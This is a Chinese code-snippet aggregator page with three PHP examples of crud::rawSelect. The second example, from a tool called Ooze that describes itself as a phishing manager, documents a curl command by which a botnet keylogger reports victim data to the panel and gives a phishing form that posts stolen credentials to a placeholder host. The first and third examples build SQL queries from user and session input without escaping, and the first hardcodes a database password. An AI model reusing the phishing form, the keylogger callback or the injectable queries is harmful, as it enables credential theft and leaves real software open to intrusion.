当前位置: 首页>>代码示例>>PHP>>正文


PHP crud::rawSelect方法代码示例

本文整理汇总了PHP中crud::rawSelect方法的典型用法代码示例。如果您正苦于以下问题:PHP crud::rawSelect方法的具体用法?PHP crud::rawSelect怎么用?PHP crud::rawSelect使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在crud的用法示例。


在下文中一共展示了crud::rawSelect方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: crud

	include 'crud.php';

    // Cria um novo Objeto Crud    
    $crud = new crud();

    // Conecta ao Banco de Dados:
    // DSN:
    $crud->dsn = "mysql:dbname=aguilar;host=localhost";
    
    // login:
    $crud->username = "root";
    $crud->password = "m0r31r4";
	
	/*** select all records from table ***/
	$SQL = "SELECT * FROM usuarios WHERE email = '" . $_POST['login'] . "'" ;
    $records = $crud->rawSelect($SQL);

    /*** fetch only associative array of values ***/
    $rows = $records->fetchAll(PDO::FETCH_ASSOC);
	
	if (count($rows) == 0 ) {
		// Nenhum Registro Encontrado
		$_SESSION['LOGADO'] = false;
		$_SESSION['NOME'] = NULL;
		$_SESSION['NIVEL'] = NULL;
	}
	if (count($rows) == 1 ) {
		// Usuario Encontrado. Check a senha:
		foreach($rows as $row)
			{
				if ($row['senha'] == $_POST['senha']) {
开发者ID:neophitus,项目名称:TMDesktop,代码行数:31,代码来源:dologin.php

示例2: url

        $page->titulo = "Suport";
        $suporte = "<img src=\"../view/imagens/ooze2.png\"><font color=green><pre>\n                     \n\n  Ooze is a phishing manager.\n  Version: 1.0\n\n  About botnets\n================\n\n Botnet send Keylogger information via HTTP method POST example with curl:\n---\n\$ curl \\\n-X POST \\\n--data 'secret_code=testbot&name=\"Test name\"&date=11/11/2032&system=\"Windows 7\"&ip=\"127.0.0.1\"&keyboard=\"something test \n test test \n\"' \\\nhttp://localhost/Ooze/controller/register_machine.php\n---\n  You can use sockets in C or C++ for example etc...\n\n  secret_code param is the key to register information, you can change this static variable at directory \"Ooze/controller\" in files  \n\"register_machine.php\" and \"register_phishing.php\".\n\n\n  About Phishing\n================\n\n\tWhen  writing passwords in TXT file, this is visible to others, so is not cool, good idea is store some password  \nlike a database, with Ooze you can store  login and passwords and url(site of phishing), loohk \n\nphishing.html (look name of fields)" . "<code>" . htmlentities("\n----\n <form method=\"post\" action=\"http://YOUR_HOST/Ooze/controller/register_phishing.php\">\n        <p><input type=\"text\" name=\"name\" value=\"\" placeholder=\"Username or Email\"></p>\n        <p><input type=\"password\" name=\"password\" value=\"\" placeholder=\"Password\"></p>\n        <input id=\"1\" type=\"hidden\" name=\"secret_code\" value=\"testbot\">\n\t<input id=\"2\" type=\"hidden\" name=\"url\" value=\"Name of site site\">\n        <p class=\"submit\"><input type=\"submit\" name=\"commit\" value=\"Login\"></p>\n      </form>\n----\n") . "</code></font>" . "\nContact:  coolerlair@gmail.com\n\n                </pre>";
        $page->conteudo = "<div style=\"background-color:black;\">" . $suporte . "</div></div>";
        print $page->display_page();
        break;
    case "conta":
        $janela .= '<div class="portlet portlet-closable x5">	
				<div class="portlet-header">
					<h4>Acount information</h4> 
				</div> <!-- .portlet-header -->		
				<div class="portlet-content">
                              ';
        $page->titulo = "Your acount";
        $sql = 'SELECT * FROM userronin WHERE login=\'' . sanitize($_SESSION['userronin']) . '\' ';
        $crud = new crud();
        $res = $crud->rawSelect($sql);
        $stmt = $pdo2->db->prepare("select * FROM userronin WHERE login = ?  ");
        $stmt->bindValue(1, $_SESSION['userronin'], PDO::PARAM_STR);
        $stmt->execute();
        $res = $stmt->fetchAll(PDO::FETCH_ASSOC);
        foreach ($res as $r) {
            $dados .= "your <b>login</b> \"" . $r['login'] . "\"<br>";
            $dados .= "<b>E-mail</b> \"" . $r['mail'] . "\"<br>";
            $dados .= "<b>Owner</b> \"" . $r['owner'] . "\"<br>";
        }
        $page->conteudo = $janela . $msg . $dados . "</div></div>";
        print $page->display_page();
        break;
    case "logof":
        $janela .= '<div class="portlet portlet-closable x6">	
				<div class="portlet-header">
开发者ID:CoolerVoid,项目名称:Ooze,代码行数:31,代码来源:auth.php

示例3: crud

<?php
include 'crud.php';
include 'config.php';

/*** Novo Crud ***/
$crud = new crud();

/*** Conecta ***/
$crud->dsn = "mysql:dbname=". $db_name .";host=". $db_host ;

/*** MySQL username and password ***/
$crud->username = $db_user;
$crud->password = $db_pass;

/*** select all records from table ***/
$records = $crud->rawSelect("SELECT * FROM icons WHERE nivel_user <=".$_SESSION['NIVEL']." AND ativo=1 ORDER BY ord");

/*** fetch only associative array of values ***/
$rows = $records->fetchAll(PDO::FETCH_ASSOC);

/*** display the records ***/
foreach($rows as $row)
{
?>
<div style="width: 100px; height: 100px; text-align: center;">
	<a href="#"
    	onclick="StartWindow('<? echo $row['URL']; ?>', '<? echo $row['titulo']; ?>', '<? echo $row['window_id']; ?>', '<? echo $row['largura']; ?>', '<? echo $row['altura']; ?>');">
        <img src="img/icons/<? echo $row['icon']; ?>" width="<? echo $row['largura_icon']; ?>" height="<? echo $row['altura_icon']; ?>"></br><center><? echo $row['Label']; ?></center>
    </a>
</div>
<?php
开发者ID:neophitus,项目名称:TMDesktop,代码行数:31,代码来源:icons.php


注:本文中的crud::rawSelect方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。